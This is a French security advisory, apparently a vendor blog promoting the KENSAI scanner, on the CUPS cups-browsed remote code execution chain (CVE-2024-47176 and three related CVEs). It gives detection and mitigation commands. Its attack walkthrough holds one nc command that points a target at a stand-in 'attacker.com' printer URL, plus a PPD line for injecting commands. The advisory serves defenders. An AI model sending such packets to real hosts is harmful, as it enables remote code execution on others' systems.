CVE-2024-47176 : RCE dans CUPS sous Linux — 300 000 systèmes exposés à Internet
Une chaîne de quatre vulnérabilités CUPS (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) permet l'exécution de code à distance sans authentification sur les systèmes Linux exécutant cups-browsed. Plus de 300 000 systèmes étaient exposés à Internet lors de la divulgation. Affecte par défaut Ubuntu, Debian, Red Hat, Fedora et la plupart des distributions Linux.
| Attribut | Valeur |
|---|---|
| CVE principal | CVE-2024-47176 |
| CVE associés | CVE-2024-47076, -47175, -47177 |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20 : Validation incorrecte des entrées |
| Publié le | 26 septembre 2024 |
| Exploitation | PoC publique — scans opportunistes observés |
Qu'est-ce que CVE-2024-47176 ?
CUPS (Common Unix Printing System) est l'infrastructure d'impression par défaut sur Linux et macOS. Le démon cups-browsed écoute sur le port UDP 631 les annonces d'imprimantes sur le réseau. CVE-2024-47176 est le point d'entrée d'une chaîne de quatre vulnérabilités : cups-browsed accepte les paquets UDP de n'importe quelle source, y compris Internet, sans authentification.
En envoyant un paquet UDP forgé sur le port 631, un attaquant peut amener le système de la victime à se reconnecter à une « imprimante » contrôlée par l'attaquant. L'imprimante malveillante fournit un fichier PPD (PostScript Printer Description) forgé contenant des commandes intégrées. Lorsque la victime imprime n'importe quoi, ces commandes s'exécutent sur son système.
La chaîne d'attaque complète
| CVE | Composant | Description |
|---|---|---|
| CVE-2024-47176 | cups-browsed | Se lie à UDP 0.0.0.0:631, accepte les paquets de n'importe quelle IP |
| CVE-2024-47076 | libcupsfilters | Les valeurs d'attributs IPP ne sont pas nettoyées lors de la création des fichiers PPD |
| CVE-2024-47175 | libppd | La génération de fichiers PPD ne nettoie pas les attributs IPP |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine permet l'exécution arbitraire de commandes |
Déroulement de l'attaque
# Étape 1 : l'attaquant envoie un paquet UDP à target:631 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # Étape 2 : cups-browsed récupère les attributs IPP depuis le serveur de l'attaquant # Le serveur de l'attaquant renvoie des attributs d'imprimante malveillants # Étape 3 : libcupsfilters/libppd crée un PPD avec les données non nettoyées de l'attaquant # Le PPD contient : *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # Étape 4 : la prochaine fois qu'un utilisateur imprime (ou que l'administrateur lance une impression test) : # FoomaticRIP exécute la commande contenue dans le PPD # La commande s'exécute avec l'utilisateur lp (qui a souvent un accès important au système de fichiers)
⚠ Aucune interaction utilisateur après la configuration
L'attaquant n'a besoin d'envoyer qu'un seul paquet UDP pour établir l'imprimante malveillante. L'exploitation se déclenche ensuite dès qu'un utilisateur du système tente d'imprimer — y compris pour des tâches d'impression routinières pouvant survenir des heures ou des jours plus tard. Sur les serveurs, un attaquant pourrait aussi déclencher l'exploitation à distance en envoyant une tâche d'impression à l'imprimante malveillante nouvellement installée.
Ampleur de l'impact
Au moment de la divulgation, les scans Shodan et Censys ont identifié environ 300 000 systèmes exposés à Internet avec le port UDP 631 ouvert. La vulnérabilité affecte pratiquement toutes les principales distributions Linux qui embarquent cups-browsed :
- Ubuntu (cups-browsed activé par défaut dans les éditions de bureau)
- Debian et ses dérivées
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- La plupart des distributions Linux de bureau
macOS n'est pas concerné car il utilise sa propre pile d'impression. Cependant, macOS utilise aussi CUPS en interne, donc certaines configurations peuvent être affectées par des problèmes connexes.
Détection
# Vérifier si cups-browsed est en cours d'exécution systemctl status cups-browsed ps aux | grep cups-browsed # Vérifier si UDP 631 est exposé ss -ulnp | grep 631 netstat -ulnp | grep 631 # Vérifier l'ajout d'imprimantes inattendues lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # Rechercher des fichiers PPD suspects find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # Vérifier les journaux pour des connexions IPP inattendues grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
Atténuation
- Arrêter et désactiver cups-browsed si inutile :
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- Appliquer les correctifs : cups-browsed 2.0.1 et cups-filters 2.0.1 corrigent les vulnérabilités. Ubuntu, Debian et Red Hat ont publié des correctifs quelques jours après la divulgation.
- Bloquer le port UDP 631 au pare-feu : empêche les paquets externes d'atteindre cups-browsed
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- Supprimer FoomaticRIP si inutile : la dernière étape de la RCE nécessite foomatic-rip. Le supprimer (si les imprimantes Foomatic ne sont pas utilisées) élimine la capacité d'exécution de code.
- Auditer les configurations d'imprimantes : supprimez toute entrée d'imprimante non reconnue de
/etc/cups/printers.conf
💡 La plupart des serveurs ne sont pas vulnérables : les installations serveur de Linux n'installent généralement pas cups-browsed par défaut. Le risque est plus élevé sur les postes de travail et machines de développement Linux. Néanmoins, tout système Linux configuré pour l'impression doit être audité.
Capacité de détection KENSAI
- Scan de ports UDP : KENSAI identifie les services UDP 631 exposés à Internet sur toute votre surface d'attaque externe
- Identification de service : identifie la version de CUPS et la présence de cups-browsed à partir des réponses réseau
- Scan du réseau interne : le scanner interne de KENSAI identifie cups-browsed en cours d'exécution sur les postes de travail et serveurs Linux internes
- Détection de version de paquet : le scan basé sur agent identifie les versions vulnérables des paquets CUPS sur les postes Linux
- Recommandations de remédiation : instructions de remédiation pas à pas avec des commandes spécifiques à votre distribution
Combien de systèmes Linux de votre environnement ont cups-browsed exposé ?
KENSAI analyse votre surface d'attaque interne et externe à la recherche de vulnérabilités CUPS sur tous vos systèmes Linux. Obtenez une vue complète en quelques minutes.
Détecter l'exposition CUPS →